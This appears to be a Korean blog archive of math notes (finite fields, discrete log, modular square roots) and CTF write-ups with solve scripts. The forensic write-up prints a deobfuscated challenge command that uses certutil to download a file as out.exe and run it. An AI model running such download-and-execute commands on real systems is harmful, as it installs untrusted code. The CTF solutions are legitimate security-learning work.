Archive

영문 위키피디아에 따르면 행렬이란 수, 기호, 표현식 등을 직사각형 형태로 배열한 배열이다. 다음과 같은 것 역시 행렬이라는 것을 쉽게 알 수 있다.

$$\begin{bmatrix}e^x&-3.5\\3&8\end{bmatrix}$$

선형대수학은 행렬, 벡터 등 선형성과 관련된 것을 연구하는 학문으로써, 그 연구결과가 다양한 방식으로 활용되고 있다. 대표적인 예시로는 연립방정식의 해의 존재성, 유일성 등에 관한 증명, 혹은 실질적인 해의 계산 정도가 여러분에게 친숙할 것이다.

다만 프로그래머에게 행렬은 일반적으로 실수 내지는 복소수 상에서 정의되는 행렬만을 다루기에 나머지 연산이 접목된 연립 방정식의 풀이 등에서는 이를 행렬과 연관짓는 사고가 쉽게 가능하지는 않은 듯 하다. 따라서 본 글의 취지는 체란 무엇이며, 실수체가 아닌 체, 특히 갈루아체에서도 가우스-조던 소거를 통한 역행렬 계산이 가능함을 설명하는 것이다.

우선 '체(Field)'란 무엇인지에 대해 얘기해보자. 특별한 것은 아니고, 추상대수학에서 연산의 본질에 대해 탐구하기 위해 분류하는 것의 일종이다. 흔히 군, 환, 체라는 용어를 얼핏 들어본 적이 있을텐데, 각각의 정의를 살펴보자.

집합 $G$, 연산 $\circ$, 항등원 $e\in G$가 다음 조건을 만족하면 $(G,\circ,e)$를 군이라 부른다.

• 결합 법칙: $\forall a,b,c \in G, (a\circ b)\circ c = a\circ (b\circ c)$
• 항등원: $\forall a\in G, \exists e\in G: a\circ e = e\circ a=a$
• 역원: $\forall a\in G, \exists b\in G: a\circ b=b\circ a=e$

집합 $R$, 연산 $+,\circ$, 덧셈의 항등원 $0$에 대해 $(R,+,0)$이 군이고 아래 조건이 성립하면 $(R,+,\circ,0)$을 환이라 부른다.

• 덧셈의 교환 법칙: $\forall a,b\in R, a+b=b+a$
• 곱셈의 결합 법칙: $(a\circ b)\circ c=a\circ(b\circ c)$
• 덧셈에 대한 곱셈의 분배 법칙: $(a+b)\circ c = a\circ c+b\circ c$, $a\circ (b+c) = a\circ b+a\circ c$
  • 곱셈에 대한 교환 법칙이 성립하는지에 대한 조건이 없으므로 각 경우를 따로 정의함
  • 곱셈에 대한 교환 법칙이 성립하는 환을 가환환이라고 함

또한, 곱셈에 대한 항등원 1이 존재하며 0이 아닌 원소가 곱셈에 대한 역원을 가지면 해당 환을 나눗셈환이라고 한다.

마지막으로, 체는 가환환이며 나눗셈환인 $(F,+,\circ,0,1)$을 체라고 부른다.

실수 집합인 $\mathbb{R}$가 위의 조건을 모두 만족한다는 것은 쉽게 확인 가능하다.

체를 간단하게 말하자면, 사칙연산이 실수에서와 비슷하게 잘 정의되는 집합과 연산을 체라고 부르는 것이다.

유한체, 또는 갈루아 체는 유한한 개수의 원소를 갖는 체이다. 대표적으로 $p$로 나눈 나머지의 집합이 있으며, 이는 $\mathbb{Z}/p\mathbb{Z}$로도 표기한다. 유한체에 대한 자세한 내용은 위키백과 - 유한체에서 확인 가능하나, 본 글에서는 간단하게 $p$로 나눈 나머지의 집합에 대해서만 이야기할 예정이다.

중요한 점은 $\mathbb{Z}/p\mathbb{Z}$가 과연 체냐는 것이다. 다른 것들은 일반적인 사칙 연산과 비슷하나, 나눗셈의 경우는 잘 정의된다는 것이 다소 비직관적이다. 예를 들어, 정수 집합 $\mathbb{Z}$는 $1\in\mathbb{Z}$, $2\in\mathbb{Z}$에 대해 $1/2$가 정의되지 않지 않은가.

$\mathbb{Z}/p\mathbb{Z}$에서 곱셈의 역원, 즉 나눗셈은 잉여역수를 이용하여 정의된다. $a$의 잉여역수는 다음을 만족하는 정수 $b$이다.

$$ab\equiv ba\equiv 1\text{ }(\text{mod }p)$$

위 식은 $ab=kp+1$인 정수 $k$가 존재함과 동치이다. 즉 $ab-pk=1$을 만족하는 정수 $b,k$의 존재성을 증명하면 $\mathbb{Z}/p\mathbb{Z}$가 체임을 알 수 있으며, 이는 디오판토스 방정식 $ax+by=\gcd(a,b)$가 정수해를 갖는다는 사실로부터 쉽게 알 수 있다.($\because \forall x:1\le x<p, \gcd(x,p)=1$)

따라서 $\mathbb{Z}/p\mathbb{Z}$는 체이다.

가우스-조던 소거는 다음의 행 기본 연산을 이용하여 진행된다.

• $i$행을 0이 아닌 상수 $c$에 대해 $c$배 하여 $j$행에 더한다. $E(i,j;c)$
• $i,j$행을 교환한다. $E(i,j)$
• $i$행을 0이 아닌 상수 $c$에 대해 $c$배한다. $E(i;c)$

위 세 연산이 잘 정의된다면 가우스-조던 소거가 잘 정의된다고 볼 수 있으며, 위 연산들은 모두 체인 $\mathbb{Z}/p\mathbb{Z}$에서 잘 정의된다. 따라서 실수체에서와 마찬가지로 augmented matrix $[A|I]$를 가우스-조던 소거하면 $[I|A^{-1}]$를 얻을 수 있다.

이는, 실수에서와 마찬가지로 행렬을 이용해 $\mathbb{Z}/p\mathbb{Z}$에서 정의되는 연립방정식을 풀 수 있음을 의미한다.

일반적으로, 모듈로 연산의 법이 소수가 아닌 경우도 많이 마주할 수 있다. 이러한 경우 법을 소인수분해하여 $\prod {p_i}^{e_i}$ 꼴로 표현한 후 각 ${p_i}^{e_i}$에 대해 연립방정식을 푼 결과를 Chinese Remainder Theorem을 이용하여 통합해줌으로써 해결할 수 있다.

KAIST의 정보보안 동아리인 GoN에서는 매 정규학기 초에 동아리 정규회원 자격 유지를 위한 Qual을 진행한다. GoN의 정규회원은 이에 의무적으로 참가해 학기차 별로 특정한 문제 수를 풀어야 하는데, 최근에는 드림핵에서 해당 Qual이 Open Contest 형태로 진행한다.

이번 학기에는 2학기차 정규회원으로서 Qual에 참가하여 Crypto 3문제, Forensic 1문제를 해결하였으며 아래 기술된 내용은 내가 해결한 문제에 대한 write-up이다.

N. Private Storage

제공된 oracle은 임의의 plaintext에 대한 encrypt oracle 정도로 요약할 수 있고, flag와 key에 대한 암호화 정보를 받을 수 있다. 보통의 crypto task라면 key를 조작하는 등의 연산을 사용하는 것이 정해이고 거기에 cryptographic한 제약조건이 달려있겠지만, 놀랍게도 그냥 ARC4가 취약하기 때문에 여기서 key recovery를 시도하는 것이 풀이이다. 구글링을 통해 간단하게 key recovery에 대한 코드를 얻을 수 있으므로 이하의 풀이는 생략한다.

O. Checkers

Checker이라는 처음 보는 게임에 관한 얘기도 있고, 무언가 열심히 구현되어있지만 크게 중요하지 않다.

문제에서 제공되는 oracle은 flag의 ciphertext, 임의의 plaintext에 대한 encrypt oracle이며 이들을 내가 원하는 대로 무한히 호출할 수 있다.

중요한 것은 encrypt 함수의 구조인데, straddling_checkerboard, substitute, straddling_checkerboard_inv라는 연산을 차례로 적용하는 것이 하나의 encrypt이다. 편의상 straddling_checkerboard를 $C$, substitute를 $S$, straddling_checkerboard_inv를 $C^I$로 표기하자. 이때 $S$에 대해서 먼저 관찰해보자. $S$ 함수는 두 10진수를 인자로 받아 non-carry add, 즉 받아올림이 없는 덧셈을 진행한다. 이는 각 자릿수를 값으로 가지는 임의 차원의 벡터를 mod 10에서 더하는 것과 같으며, 호출되는 $S$ 함수는 키를 반복하여 평문에 더하는 것이므로 평문 한 자리와 이에 더해지는 키 한 자리의 벡터 꼴의 표현 $p,k$에 대해서 동일한 평문을 $n$번 더한 중간 결과물은 $p+n\times k$로 표현할 수 있다.

$S$ 연산을 평문에 여러번 적용하는 것을 특정한 꼴로 압축할 수 있다는 것을 발견하였으니, 이것이 공격에 사용될 수 있는지를 고려해 보아야 한다. encrypt 함수는 $C$, $S$, $C^I$를 차례로 적용하는데, encrypt 함수를 여러번 실행한다면 $C$, $S$, $C^I$, $C$, $S$, $C^I$, ... 꼴로 함수가 적용될 것이다. 이때 $C^I$와 $C$가 연속적으로 실행되어 상쇄되고, 결국 $C$, $S$, $S$, ..., $S$, $C^I$ 순서로 실행된 결과물과 같은 암호문을 얻는다. 만일 연속된 $S$ 연산의 결과가 연산을 하지 않았을 때와 같다면, 즉 $C$, $S$, $S$, ..., $S$, $C^I$ 연산의 결과가 $C$, $C^I$ 연산의 결과와 같다면 encrypt 함수의 입력과 출력은 동일하다.

연속된 $S$ 연산의 결과가 연산을 하지 않았을 때와 같기 위해서 생각할 수 있는 간단한 방법은 $p+n\times k$에서 $n$이 10이면 mod 10에서 $p$와 $p+n\times k$가 동일하다는 것을 활용하는 것이다. 따라서, 우리는 flag의 암호문을 받아 9번 더 암호화하면 그 결과로 flag를 찾을 수 있다.

C. pprintable

흔한 RSA task의 코드와 유사하게 생겼다. 랜덤한 두 소수 $p,q$를 생성하고 $N=pq$를 계산 후, $c=m^e \mod N$을 계산한다. 문제에서는 $N,e,c$를 제공한다. 이 문제에서 추가적으로 제공하는 정보는 두 소수의 각 비트의 값을 0.35의 확률로 노출하는 mask와 그 마스크를 씌운 redacted prime의 값, 그리고 두 소수는 printable character로만 구성되었다는 것이다. 이걸 대체 어떻게 찾았나 싶지만 아무튼 만들어서 문제를 출제했으니 문제에만 집중해보자.

문제의 주석에서도 언급하듯이 빠르게 풀 수 있는 비트 노출의 확률은 0.5가 하한선이다. 그렇지 않을 경우 bruteforce에서 가지치기가 가능한 경우가 충분히 많지 않아 시간이 오래 걸리게 되는데, 이 문제에서는 printable character라는 조건으로 이를 잘 보완해보라는 것이 출제 의도이다.

확률이 충분히 클 경우의 solution은 $\mod 2^k$에서 $pq\equiv N$을 만족하는 p, q의 값을 찾아 bruteforce하는 것이다. k의 값을 점점 키워나가며 두 소수의 원본 값을 찾는 형태로 solution이 동작한다. 이 풀이를 약간 변형하면 printable이라는 조건을 활용할 수 있다.

우리는 바이트 단위로 bruteforce를 진행하여도 가능한 p,q의 값의 수는 최대 $256\times256=65536$으로 충분히 작고, mask에서 제공된 정보와 printable이라는 조건을 통해 후보를 filtering하면 가능한 p,q의 수가 많지 않고 여럿 존재하더라도 금방 배제될 수 있음을 짐작할 수 있다. 따라서 바이트 단위로 printable character만을 대상으로 bruteforce하면 flag를 찾을 수 있다.

S. sleepingshark

문제에서는 수많은 패킷이 포함된 pcap 파일이 제공된다. 어떠한 두 장치의 HTTP 통신을 캡쳐한 것으로 보이며, 종종 broadcast 등의 잡다한 패킷도 포함되어있는 것을 확인할 수 있다. 패킷을 조금 살펴보면, POST를 통해 질의를 보내는 패킷을 발견할 수 있다. 해당 패킷들의 query string을 url decode해보면 flag의 어떤 인덱스의 한 글자를 특정한 문자와 비교하고 동일하다면 3초간 sleep, 그렇지 않다면 그냥 종료하는 query임을 확인할 수 있다. 이를 이용하여, 이 쿼리의 response가 약 3초 이상 경과한 시점에 캡쳐되었다면 비교했던 두 문자가 동일했다는 정보로 간주할 수 있다. 이를 이용하여 POST와 그 response에 해당하는 패킷만 골라내어 캡쳐된 시각의 차이를 근거로 flag를 복원하면 된다. 플래그의 모든 문자에 대한 정보가 없을 수 있는데, 패킷이 워낙 많기도 하고 적은 수의 글자만이 누락되었다면 게싱 혹은 flag bruteforcing으로 해결할 수 있을 것이다. 다행히도 모든 문자에 대한 정보가 포함되어 있으므로  이를 그대로 제출하면 된다.

이때, 수많은 패킷 중에서 POST와 그 response에 해당하는 패킷을 손으로 골라내기란 현실적으로 불가능한 일이다. 실제로 패킷을 필터링한 후에도 약 만개의 패킷을 분석해야 한다. 따라서 이러한 패킷을 찾는데에는 약간의 게싱이 필요한데, 초반의 몇십 패킷을 관찰하면 우리가 원하는 패킷만 그 길이가 300~400 정도로 다른 패킷에 비해 길다는 사실을 확인할 수 있다. 따라서 통신하는 장치의 ip와 패킷 길이로 필터링하면 우리가 원하는 패킷만을 얻을 수 있다. 이후에는 csv로 export하여서 python을 통해 위에서 언급한 solution을 구현하면 flag를 쉽게 얻을 수 있다.

시작하기에 앞서, Baby-step Giant-step Algorithm(BSGS Algorithm)을 이해하기 위해 필요한 이산 로그 문제(Discrete Logarithm Problem, DLP)에 대해 간단히 설명하겠다.

일반적으로 양의 실수 집합에서 정의되는 로그(Logarithm)는 $a^x=b$에서 $x$를 의미한다. 이와 유사한 의미로, 한 원소를 곱셈의 항등원에 곱하는 연산을 몇 번 적용해야 하는지를 의미한다. 특히 $\mathbb{Z}/p\mathbb{Z}$에 대한 이산 로그 문제는 다음과 같이 정의할 수 있다. 이때 $p$는 소수이다.

$\mathbb{Z}/p\mathbb{Z}$의 원소 $b,n$에 대해 $b^x\equiv n\text{ }(\text{mod }p)$를 만족하는 $0$ 이상 $\phi(p)=p-1$ 미만의 정수 $x$를 찾아라.

BSGS Algorithm은 위와 같은 $\mathbb{Z}/p\mathbb{Z}$에서의 DLP를 $O(\sqrt{p}\lg p)$의 시간복잡도에 해결할 수 있는 알고리즘이다. 완전탐색을 제외한 DLP 알고리즘 중 간단한 편에 속한다. 알고리즘의 pseudo code를 소개하자면 다음과 같다.

1. $0$ 이상 $\lceil\sqrt{p}\rceil$ 미만인 모든 정수 $c$에 대해 $b^c\mod p$를 집합 $S$에 삽입한다. (Baby-step)
2. $1$ 이상 $\lceil\sqrt{p}\rceil$ 미만인 모든 정수 $k$에 대해 $n\times b^{-k\lceil\sqrt{p}\rceil}\mod p$를 계산하고, 이 값이 $S$에 있는지 확인한다. 있다면 $b^c\mod p = n\times b^{-k\lceil\sqrt{p}\rceil}\mod p$를 만족하는 $c$를 찾는다. (Giant-step)
3. $x=k\lceil\sqrt{p}\rceil+c$를 결과로써 반환한다.

BSGS Algorithm의 정당성 증명

임의의 $p$ 미만의 음이 아닌 정수는 $\lceil\sqrt{p}\rceil$ 미만이고 음이 아닌 두 정수 $a,b$에 대해 $a\lceil\sqrt{p}\rceil+b$ 꼴로 표현할 수 있다. $x$는 존재할 때 0 이상 $p-1$ 미만인 것이 존재한다는 것이 보장되므로, 모든 존재하는 지수는 $a\lceil\sqrt{p}\rceil+b$ 꼴로 표현 가능하다는 사실을 기억하자.

2.에서 $n\times b^{-k\lceil\sqrt{p}\rceil}\mod p$가 $S$에 존재한다면, $b^c\equiv n\times b^{-k\lceil\sqrt{p}\rceil}\text{ }(\text{mod }p)$를 만족하는 $\lceil\sqrt{p}\rceil$ 미만의 음이 아닌 정수 $c$가 존재한다는 것을 알 수 있다.

이 식의 양변에 $b^{k\lceil\sqrt{p}\rceil}$를 곱하면 $n\equiv b^{k\lceil\sqrt{p}\rceil+c}\text{ }(\text{mod }p)$을 얻는다. 따라서 $x=k\lceil\sqrt{p}\rceil+c$를 얻을 수 있다.

BSGS Algorithm의 시간복잡도 증명

분할정복을 이용해 거듭제곱을 계산하면 $a^b\mod p$는 $O(\lg b)$에 계산 가능하다. 또한 잘 구현된 집합 구현체를 이용하면 원소의 존재 여부를 집합의 크기 $n$에 대해 $O(\lg n)$에 판단 가능하다.

따라서 1.에서는 $\lceil\sqrt{p}\rceil\times O(\lg p)=O(\sqrt{p}\lg p)$의 시간이 소요된다.

2.에서는 거듭제곱과 모듈로 역원을 한 번 계산하고 집합에의 포함 여부를 판별하는데 각각 $O(\lg p)$의 시간이 소요되므로 총 $O(\sqrt{p}\lg p)$의 시간이 소요된다.

결론적으로 BSGS Algorithm은 $O(\sqrt{p}\lg p)$의 시간에 이산 로그 문제를 해결할 수 있음을 확인할 수 있다.

BSGS Algorithm의 구현

이산 로그를 구현한 대부분의 잘 알려진 구현체는 BSGS보다 빠른 시간에 동작하는 pollard-rho algorithm, 혹은 pohlig-hellman algorithm 등을 구현한다. 따라서 이들을 사용 가능하다면 사용하기를 권장한다. 아래는 C++로 구현된 BSGS algorithm이다.

#include<bits/stdc++.h>
using namespace std;
using ll=long long;

ll ipow(ll x,ll n,ll p){
    if(n==0)return 1;
    if(n==1)return x%p;
    if(n==2)return (x%p)*(x%p)%p;
    ll k=ipow(x*x%p,n/2,p);
    if(n%2==1)k=k*x%p;
    return k;
}

ll discrete_log(ll n,ll b,ll p){
    set<ll> s;
    ll k=ceil(sqrt(p));
    ll binvk=ipow(ipow(b,k,p),p-2,p);//by fermat's little theorem
    ll t;

    //baby-step
    t=1;
    for(ll i=0;i<k;i++){
        s.insert(t);
        t*=b;
        t%=p;
    }
    
    //giant-step
    t=1;
    for(ll i=0;i<k;i++){
        ll x=n*t%p;
        if(s.find(x)!=s.end()){
            t=1;
            for(ll j=0;j<k;j++){
                if(t==x){
                    return i*k+j;
                }
                t*=b;
                t%=p;
            }
        }
        t*=binvk;
        t%=p;
    }
    return -1;
}

Writeup : https://sean9892.tistory.com/28

사실 열린다는걸 알고 있긴 했으나 원래 자주 팀을 이루던 Hyp3rFlow 팀원들도 각자 바쁘기도 하고 굳이 참가할 생각이 없던 대회였는데, 생각치도 못하게 준태님께 연락이 와 참가하게 되었다. CV에 한 줄 적을 수 있는 기회는 놓칠 수 없으므로.

대회 전날까지 "적어도 크립토에서 1인분을 하자"라는 마인드로, RSA나 격자, 기타 등등의 것을 복습하고 있었으나, 실상 대회에는 크립토가 오직 두 문제만 출제되어 굉장히 당혹스러웠다. 그마저도 대회 시작 21분만에 모두 풀어 남은 7시간 39분간 뭘 해야할 지 막막한 상황에 이르렀다.

다른 팀원들이 pwn, rev, web 문제를 풀고 있었기에 나는 잘 모르지만 Forensic 문제를 잡아보기로 하였고, 구글링을 동원하여 열심히 풀어냈다. 생각보다 구글링이 잘 되는 키워드들이라 풀기 수월했던 것 같다. 그렇게 Forensic 두 문제를 해결한 시각이 11시 08분, 나는 또 5시간 52분간 놀 위기에 처했다. 다행히 준태님이 REV1을 리버싱한 코드를 주셔서 그거 풀었다. 그래도 3시간 11분 놀았다. 3시간 11분간 놀면서 다른 문제 브포 코드 잘못 짜인거 발견해서 고치고 다른 팀원들 응원하면서 지냈는데 그동안 과자를 너무 많이 먹어서 살 빼긴 그른 거 같다.

문제 퀄리티에 관해서는 개인적으로 조금 불만이 많다. 데프콘과 시기가 겹쳐 출제 위원을 제대로 확보하지 못한 것인지, 작년 CCE 문제를 flag prefix도 수정하지 않은 채 가져온 문제가 상당히 많았고(체감 상 절반 이상) 쉬운 리버싱 문제(rev1)의 난이도를 올리고 싶었던 건지 small trick이라면서 misc 요소를 넣어서 잘 푼 팀들이 이상하게 말려버렸고, 결국 어떤 팀은 마지막의 small trick을 제외하고서는 11시 4분에 해결하였으나 small trick에 막혀 마지막까지 rev1을 풀지 못했던 것으로 기억한다. 아무리 좋은 문제가 안 나와도 작년에 진행된 대회의 문제를 그대로 가져오면 공정성 등 여러 문제가 있는데 이렇게 대회가 진행된 건 참 아쉬운 점 중 하나이다. 마지막 문제 제출 시간이 아깝게 밀려 상금이 200만원 깎여버린것도 아쉬운 부분 중 하나지만... 버스 탄 입장에서 만족한다.

내년엔 열려도 안 나갈듯. 끝.

후기: https://sean9892.tistory.com/29

8월 11일 오늘, 세종에서 진행된 HackTheon에 KaisTheon 팀으로 참가하여 4등으로 대회를 마무리하였다. Crypto task가 매우 쉬웠기 때문에 Crypto 2문제, Forensic 2문제, Reversing 1문제를 맡아 해결하였다.

CRYPTO1 - 암호의 기초 1

키 길이가 7인 XOR 암호의 주어진 암호문을 복호화하는 문제이다. XOR 암호는 알려진 평문을 통해 키를 확보할 수 있으므로 알려진 flag의 prefix인 apollob를 이용하여 키를 복원한다.

import base64
c = base64.b64decode("FQAWHg8KBg8TCwsTEQtGQVRfEQocWQIWCk5IBwYJCQYMV1UJ")
l=[]
for x,y in zip(b"apollob",c):
    l.append(x^^y)
for _,x in enumerate(c):
    print(chr(x^^l[_%7]),end="")
# apollob{crypto21--rox-rox--crypto21}

CRYPTO2 - 암호의 기초 2

text의 길이를 256로 설정할 때, $n=1$이 되어 각 블럭의 키 공간의 크기가 256으로 줄어든다. 이 점을 이용하여 블럭 별 키를 bruteforce함으로써 원본 key를 복구할 수 있다. 주어진 암호문의 길이는 144인데, 평문의 길이가 같으면 암호문의 길이가 같으므로 1~256 길이의 text를 로컬에서 임의의 키로 암호화하여 암호문의 길이를 보는 과정을 통해 평문의 블럭 수가 5임을 추론할 수 있다. 이를 이용하여 길이 32 단위로 암호문을 끊어주고, 블럭별로 키를 사용하여 복호화하면 flag를 취득할 수 있다.

from minipwn import *
from base64 import b64decode as dec, b64encode as enc

r = remote("apse2021.cstec.kr",5334)
r.recvuntil(b":> ")
r.sendline(b"A"*256)
rcv = eval(r.recvuntil(b"\n").strip().decode()).decode()
c = dec(rcv)

l = [c[i:i+32]for i in range(0,512,32)]

# Key Recovering
from Crypto.Cipher import AES
BS = 16
padd = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()
keys = []
for x in l[:-1]:
    for i in range(256):
        d = AES.new(padd(chr(i).encode()),AES.MODE_ECB).decrypt(x)
        if d == padd(b"A"*16):
            print(i)
            keys.append(chr(i))
            
cc = dec("Bdpr6Ki/1lQ75/ph4N7MPHKLU8jTZ0w2vWdJy0LJsFkrGO5VMcBPHBaeS9TeNaCqgTOcltg5gXkSLUxmdvjS1DaBiQjxILplmzakD5fYB7j1QOIIjxtC1Jqu5J0dMT4Cl8X0dh08e2Ror2I8xzgzMOehEo0A5UL6LWYiDeWSk8bmtboESx/qqiJDKo8wi77E")
ll=[cc[i:i+32]for i in range(0,144,32)]

# Key Dividing
n=3
rkeys = [key[i * n:(i + 1) * n] for i in range((len(key) + n - 1) // n )] 

for x,y in zip(ll,rkeys):
    print(AES.new(padd(y.encode()),AES.MODE_ECB).decrypt(x))
    
# b'Apollob{2b480551\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
# b'edd7316072a593f7\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
# b'459e4e77e45bc591\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
# b'8f49a229f9673139\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
# b'12f5224f}\x07\x07\x07\x07\x07\x07\x07'
# Apollob{2b480551edd7316072a593f7459e4e77e45bc5918f49a229f967313912f5224f}

FORENSIC1 - 특별한 이벤트

gigasheet 혹은 윈도우 내장의 evtx viewer를 이용하여 기록된 이벤트를 확인하면 EVENTID가 비정상적이라는 사실을 확인할 수 있다. 여기서는 어떠한 정보를 얻을 수 없을 것이므로, 다른 정보를 확인한다.

이때 EVENTRECORDID=832, EVENTRECORDID=833인 두 이벤트의 EVENTDATA/COMMANDLINE 항목을 살펴보면 난독화된 batch command를 확인할 수 있다. 이를 파이썬으로 파싱하여 대입하면 아래의 정보를 확인할 수 있다.

[파싱된 변수의 값 대입 코드의 일부(Python)]

lllllIIllI="0"
IlIllIIIll="1"
lIIIllIlll="2"
lIlIlIIIll="3"
IlllllllII="4"
IlIlIlIIII="5"
llIllIIIlI="6"
lllIIIIIll="7"
lIIlIllIll="8"
IIllllIlll="9"
lllIIlIlII=":"
lllIIlllII=";"
lllIIlllII="="
lllllIlIII="?"

출력으로 다음을 얻는다.

certutil -urlcache -f httplddyou.know.i.don.t.l1k3.m4lw4r3.rea.lyd out.exe 
 out.exe 
 apollob{a95ac71463fc529219a69b0d25cf4a66021d10023f7c8c9fe155334a1a4bb4774bd86b69cf482ddf7272e7669bc9b182e4de0ec0968d418dccce8fbb4dfeaa5dbdd42fab526be0cd357d}

FORENSIC 2 - 숨은 그림 찾기

volatility3를 활용하여 memory 파일에서 프로세스의 목록을 확인한 후 remote desktop과 관련된 프로세스의 dump를 딴 후, GIMP에서 오프셋을 조정하여 이미지를 읽으면 flag를 찾을 수 있다.

vol -f ./CCE_forensic.mem windows.info
vol -f ./CCE_forensic.mem windows.pslist
vol -f ./CCE_forensic.mem windows.memmap --pid 5880 --dump

REVERSING 1 - 세종시에 오신 것을 환영합니다.

주어진 실행파일을 디컴파일하여 코드를 확인하면, 가장 관건이 되는 코드가 ROR, ROL, XOR 연산이 섞여있는 부분의 코드이다. 여기서 XOR은 bitwise operation이며 ROR, ROL의 수가 같으므로 최종적으로 이 복잡한 연산의 input과 output의 XOR값은 input과 무관하게 상수임을 알 수 있다. 따라서 flag를 얻기 위한 output에 input과의 XOR값을 XOR하여 그 output을 생산하는 input을 만들 수 있다.

그러한 input은 아래의 15개 수이다. 각각의 수는 16진법으로 표현하여 작성하였다.

7e81807e0101817e
ff8080ff808080ff
ff08080808088878
3c4242424242423c
81c1a19189858381
38448080808f463a
0810102010101008
8181818199a5c381
ff8080ff808080ff
80808080808080ff
3e4180808080413e
3c4242424242423c
81c3a59981818181
ff8080ff808080ff
1008080408080810

이러한 값을 관찰할 때, 수가 총 15개이고 flag 길이가 15이므로 각 수가 하나의 문자에 대응됨을 추측할 수 있다. 각 수의 각 바이트를 2진법으로 표현하여 각각 그리면 다음과 같이 표현되어 flag를 읽을 수 있다. (X = 1, _ = 0)

_XXXXXX_
X______X
X_______
_XXXXXX_
_______X
_______X
X______X
_XXXXXX_
​
XXXXXXXX
X_______
X_______
XXXXXXXX
X_______
X_______
X_______
XXXXXXXX
​
XXXXXXXX
____X___
____X___
____X___
____X___
____X___
X___X___
_XXXX___
​
__XXXX__
_X____X_
_X____X_
_X____X_
_X____X_
_X____X_
_X____X_
__XXXX__
​
X______X
XX_____X
X_X____X
X__X___X
X___X__X
X____X_X
X_____XX
X______X
​
__XXX___
_X___X__
X_______
X_______
X_______
X___XXXX
_X___XX_
__XXX_X_
​
____X___
___X____
___X____
__X_____
___X____
___X____
___X____
____X___
​
X______X
X______X
X______X
X______X
X__XX__X
X_X__X_X
XX____XX
X______X
​
XXXXXXXX
X_______
X_______
XXXXXXXX
X_______
X_______
X_______
XXXXXXXX
​
X_______
X_______
X_______
X_______
X_______
X_______
X_______
XXXXXXXX
​
__XXXXX_
_X_____X
X_______
X_______
X_______
X_______
_X_____X
__XXXXX_
​
__XXXX__
_X____X_
_X____X_
_X____X_
_X____X_
_X____X_
_X____X_
__XXXX__
​
X______X
XX____XX
X_X__X_X
X__XX__X
X______X
X______X
X______X
X______X
​
XXXXXXXX
X_______
X_______
XXXXXXXX
X_______
X_______
X_______
XXXXXXXX
​
___X____
____X___
____X___
_____X__
____X___
____X___
____X___
___X____

CTF Crypto task를 풀다 보면, 간혹 $m^2 \text{ mod }p$ 값으로부터 $m$의 값을 복원해야 하는 경우가 존재하며, 이때 사용할 수 있는 알고리즘이 Tonelli-Shanks Algorithm이다.

Tonelli-Shanks Algorithm은 $\mathbb{Z}/p\mathbb{Z}$에서 제곱근을 $O(\log^2 p)$에 해결하는 알고리즘으로써, 조금 응용한다면 이차방정식까지도 동일한 시간복잡도에 해결 가능한 알고리즘이다.

주어진 홀수인 소수 $p$와 $n\in\mathbb{Z}/p\mathbb{Z}$에 대해 $x^2\equiv n\text{ }(\text{mod }p)$인 $x$를 출력하는 Tonelli-Shanks Algorithm은 다음과 같은 단계를 거쳐 진행된다.

1. $n^\frac{p-1}{2}\equiv1\text{ }(\text{mod }p)$인지 확인한다. 만약 아니라면 제곱근이 존재하지 않는다.
2. $p-1=Q\cdot2^S$인 홀수 $Q$와 음이 아닌 정수 $S$를 구한다.
3. $i:=2$로 $i$를 초기화한 후 $i^\frac{p-1}{2}\equiv1\text{ }(\text{mod }p)$이 아닐 때까지 $i$를 증가시키는 과정을 반복한다. 종료 시점의 $i$ 값을 $z$라고 정의한다.
4. 다음과 같이 변수에 값을 대입한다.
   $M:= S$
   $c:\equiv z^Q\text{ }(\text{mod }p)$
   $t:\equiv n^Q\text{ }(\text{mod }p)$
   $R:\equiv n^\frac{Q+1}{2}\text{ }(\text{mod }p)$
5. 다음 과정을 반복한다.
   $t=0$이면 $0$을 출력하고 종료한다.
   $t=1$이면 $R$을 출력하고 종료한다.
   $0<i<M$과 $t^{2^i}\equiv1\text{ }(\text{mod }p)$를 만족하는 최소의 자연수 $i$를 찾는다.
   $b:\equiv c^{2^{M-i-1}}\text{ }(\text{mod }p)$
   $M:=i$
   $c:\equiv b^2\text{ }(\text{mod }p)$
   $t:\equiv tb^2\text{ }(\text{mod }p)$
   $R:\equiv Rb\text{ }(\text{mod }p)$

Tonelli-Shanks 알고리즘의 정당성 증명

알고리즘의 정당성 증명은 다음과 같이 기술할 수 있다.

우선 다음의 두 명제를 확인하자.

Claim 1.

• $\text{mod }p$에서 0이 아닌 quadratic residue는 정확히 $\frac{p-1}{2}$개 존재한다.

$1\le k\le\frac{p-1}{2}$일 때 $k^2\equiv (p-k)^2\text{ }(\text{mod }p)$이다. 따라서 0이 아닌 quadratic residue는 최대 $\frac{p-1}{2}$개 존재한다.

$1\le a<b\le\frac{p-1}{2}$인 두 정수 $a,b$를 생각해보자. $b^2-a^2\equiv (a+b)(a-b)\text{ }(\text{mod }p)$이고, $2\le a+b\le p-1$, $a\neq b$이므로 $b^2-a^2\not\equiv0\text{ }(\text{mod }p)$이다.

따라서 $1,2,3,...,\frac{p-1}{2}$는 제곱하였을 때 서로 다른 값을 가지므로 정확히 $\frac{p-1}{2}$개의 0이 아닌 quadratic residue가 존재한다.

Claim 2.

• '$n$이 $\text{mod }p$에서 quadratic residue이다'와 $n^\frac{p-1}{2}\equiv1\text{ }(\text{mod }p)$는 동치이다.

$n$이 $\text{mod }p$에서 quadratic residue인 것과 $x^2\equiv n\text{ }(\text{mod }p)$인 $x$가 존재하는 것은 동치이다.

이는 페르마 소정리에 의해 $n^\frac{p-1}{2}\equiv(x^2)^\frac{p-1}{2}\equiv x^{p-1}\equiv1\text{ }(\text{mod }p)$과 동치이다.

변수들의 초기값을 다시 기술하면 다음과 같다.

• $M=S$
• $c\equiv z^Q\text{ }(\text{mod }p)$
• $t\equiv n^Q\text{ }(\text{mod }p)$
• $R\equiv n^\frac{Q+1}{2}\text{ }(\text{mod }p)$

상기된 초기값에 관해 다음과 같은 사실을 알 수 있다.

